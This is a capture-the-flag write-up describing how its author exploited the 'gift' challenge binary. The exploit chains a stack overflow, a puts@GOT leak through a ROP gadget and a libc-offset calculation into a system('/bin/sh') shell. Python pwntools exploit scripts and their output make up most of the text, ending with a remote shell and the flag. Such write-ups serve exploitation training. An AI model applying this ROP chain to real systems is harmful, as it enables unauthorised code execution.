Symbol table '.dynsym' contains 14 entries:   Num:    Value  Size Type    Bind   Vis      Ndx Name     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND      1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND signal@GLIBC_2.0 (2)     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.0 (2)     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)     6: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__     7: 00000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.0 (2)     8: 00000000     0 FUNC    GLOBAL DEFAULT  UND strtoul@GLIBC_2.0 (2)     9: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)    10: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@GLIBC_2.0 (2)    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND setvbuf@GLIBC_2.0 (2)    12: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.0 (2)    13: 08048abc     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used```
maybe i could change "alarm" to call "system" for example.  i'm a loser a quickly got discouraged by the apparent complexity of it, until i heard about "information leakage".   The libc was kindly provided and we know (at least,, know i do), that wherever the libc is loaded in memory, the offset between 2 given functions will always be the same.  So if we could remotely leak the address of a libc given function, we could calculate the address of "system"..    TL;DR: apparently:  - PLT contains code to resolve library function addresses- GOT contains those resolved addresses so if we jump to plt.puts() to make it print *got.puts(),  we should have the current puts() address in memory and we could deduce system()'s address by adding the correct offset.  we also need to call "win()" a second time, to enter a second shellcode after we leaked the info and made the calculation.  
Much help from: [https://github.com/ctfhacker/ctf-writeups/blob/master/campctf-2015/bitterman-pwn-400/README.md](https://github.com/ctfhacker/ctf-writeups/blob/master/campctf-2015/bitterman-pwn-400/README.md)
```# get plt.puts
% objdump -d gift| grep puts@plt08048450 <puts@plt>:
# get win()
% objdump -d gift| grep win 08048703 <win>:
# get got.puts
% readelf -r gift | grep puts0804d01c  00000507 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
```
so if we can call 0x08048450(*0x0804d01c), we should leak the address of puts.  Im still quiet unsure why we need to "pop xyz; ret"; but otherwise it doesnt work   we can find such "gadget":  
```% ROPgadget --binary gift | egrep "pop ... ; ret"[...]0x080483f1 : pop ebx ; ret[...]
```
so our stack needs to be like this:  ```+---------------------------+| 0x08048450     plt.puts() |+---------------------------+| 0x080483f1  pop ebx; ret  |+---------------------------+| 0804d01c       got.puts   |+---------------------------+| 0804d01c       win()      |+---------------------------+```
makes some code like this [exploit_v2.py](exploit_v2.py):
```python% cat exploit_v2.py #!/usr/bin/python
from pwn import *import struct
keycodes = [6419804, 7048451, 1, 5981939, 1809240, 3891630, 1, 2807850, 4265200, 4512418, 1, 5061300, 1303193, 7616025, 1, 6084938]
elf = context.binary = ELF("./gift")#context.log_level = 'debug'
io = process(elf.path)
offset_eip = 16     # calculated previously
#####
puts_plt = p32(0x08048450)  # address of puts@PLTpop_ebx  = p32(0x080483f1)  # address of pop ebx; ret;got_puts = p32(0x0804d01c)  # address of puts@GOTwin      = p32(0x08048703)  # address of win()
# construct shellcodecode  = "A"*offset_eipcode += puts_pltcode += pop_ebxcode += got_putscode += win 
io = process(elf.path)io.recvuntil(" > ")io.sendline("666")
for x in range(16):    io.recvuntil("Enter keycode %d: "%x)    io.sendline(str(keycodes[x]))
print io.recv(4096)
io.sendline(code)
addr = struct.unpack("I", io.read(4))[0]print "address of puts: 0x%x"%addr
print io.recv(4096)```
```% ./exploit_v2.py[*] '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)[+] Starting local process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift': pid 11391[+] Starting local process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift': pid 11393[ACCESS GRANTED][XMAS SECURITY PROTOCOL ACTIVATED] - Enter new keycode: address of puts: 0xf75dd880    <<<------ HEREf\x84\x0 �Z�aY�[ACCESS GRANTED][XMAS SECURITY PROTOCOL ACTIVATED] - Enter new keycode: [*] Stopped process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift' (pid 11393)[*] Stopped process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift' (pid 11391)```
## Exploiting the win function (Part 2)
Now that we can leak some libc function's address and return to win() to enter more fancy stuff, we can craft something that should do:   system("/bin/sh");  exit();   luckily everything can be found in the libc:  
```% gdb-peda ./giftgdb-peda$ break mainBreakpoint 1 at 0x80489efgdb-peda$ rungdb-peda$ find "/bin/sh"Searching for '/bin/sh' in: None rangesFound 1 results, display max 1 items:libc : 0xf7f48dc8 ("/bin/sh")
gdb-peda$ info address putsSymbol "puts" is at 0xf7e4b880 in a file compiled without debugging.
gdb-peda$ info address systemSymbol "system" is at 0xf7e26b40 in a file compiled without debugging.
gdb-peda$ info address exitSymbol "exit" is at 0xf7e1a7f0 in a file compiled without debugging.
```
so let's calculate the offsets between the address of puts and the others:
```system  = puts - 0x24d40 (0xf7e4b880 - 0xf7e26b40 == 0x24d40)exit    = puts - 0x31090 (0xf7e4b880 - 0xf7e1a7f0 == 0x31090)/bin/sh = puts + 0xfd548 (0xf7e4b880 - 0xf7f48dc8 == -0xfd548)```
so if we can make our stack look like this:
```+----------------------------------+| system() = leaked_puts - 0x24d40 |+----------------------------------+| exit()   = leaked_puts - 0x31090 |+----------------------------------+| /bin/sh  = leaked_puts + 0xfd548 |+----------------------------------+```
we should get a shell...  
we can simply extend of script [exploit_v3.py](exploit_v3.py):  
```python% cat exploit_v3.py[...]## second shellcode
offset_system = -0x24d40offset_exit   = -0x31090offset_binsh  = 0xfd548
code = "A"*offset_eipcode += p32(addr + offset_system)code += p32(addr + offset_exit)code += p32(addr + offset_binsh)
io.sendline(code)io.interactive()```
```% ./exploit_v3.py[*] '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)[+] Starting local process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift': pid 13167[+] Starting local process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift': pid 13169[ACCESS GRANTED][XMAS SECURITY PROTOCOL ACTIVATED] - Enter new keycode: address of puts: 0xf75b9880f\x84\x0 \x9dX�!W�[ACCESS GRANTED][XMAS SECURITY PROTOCOL ACTIVATED] - Enter new keycode: [*] Switching to interactive mode$ iduid=1000(m) gid=1000(m) groups=1000(m),4(adm)$ pwd/home/m/d5```
## Putting it all together
Since the binary changes with each new connection, the final part was to put everything together.  Most of the work is already done for the remote shell, but we need to extract the codes.   for this i used distorm3, probably in the most horrible possible way, but it works...  
```python% cat exploit_v4.py #!/usr/bin/python
import distorm3
def get_codes(binary):    ''' parse binary to extract access codes    '''    codes = []    disasm = {}
    # disassemble everything into memory... yuck    iterable = distorm3.DecodeGenerator(0x0, binary, distorm3.Decode32Bits)    for (offset, size, instruction, hexdump) in iterable:        disasm[offset] = (size, instruction)
    # this is where the check sequence starts    start = 0x000007bf    instructions = []
    # get interesting instructions    for x in range(16):        size, instr = disasm[start]        instructions.append(instr)
        # hop 2 instructions        start += size        size, instr = disasm[start]         start += size        size, instr = disasm[start]        start += size
    # parse interesting instructions    for instr in instructions:        # just checking it's != 0        if instr == 'TEST EAX, EAX':            codes.append("1")
        # else we get the check value        elif instr.startswith('CMP EAX, '):            value = instr.split(" ")[-1]            codes.append(str(eval(value)))
    return codes
print get_codes(open("./gift", 'rb').read())
% ./exploit_v4.py ['6419804', '7048451', '1', '5981939', '1809240', '3891630', '1', '2807850', '4265200', '4512418', '1', '5061300', '1303193', '7616025', '1', '6084938']
```
the final exploit is here as [pwnpwn.py](pwnpwn.py)
```% ./pwnpwn.py[*] '/home/matth/security/writeups/aotw2018ctf-writeups/day5/libc.so'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded cached gadgets for './libc.so'[+] Opening connection to 18.205.93.120 on port 1205: Done[+] getting binary...: got it[+] getting access codes...: 6605480 8943792 1 4843465 9645361 4626089 1 2821626 8184439 8814483 1 5357819 7788017 2503320 1 844234[+] entering the codes...: access granted[*] building stage1 payload to leak libc address[*] '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift.bin'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)[*] Loading gadgets for '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift.bin'[*] stage 1 rop: read(puts()); call win0x0000:        0x8048450 puts(134533148)0x0004:        0x80483f1 <adjust @0xc> pop ebx; ret0x0008:        0x804d01c got.puts0x000c:        0x8048703 0x8048703()[*] sending payload 1[*] Leaked puts: 0xf7e15360[*] building stage2 payload to spawn shell[*] rebased libc address: 0xf7dae000[*] stage 2 rop: system("/bin/sh")0x0000:       0xf7dead10 system(4159871183)0x0004:           'baaa' <return address>0x0008:       0xf7f298cf arg0[*] sending payload 2[*] got shell[+] flag:  AOTW{s4nt4_l0v3s_BL4CKh4ts}[*] Closed connection to 18.205.93.120 port 1205```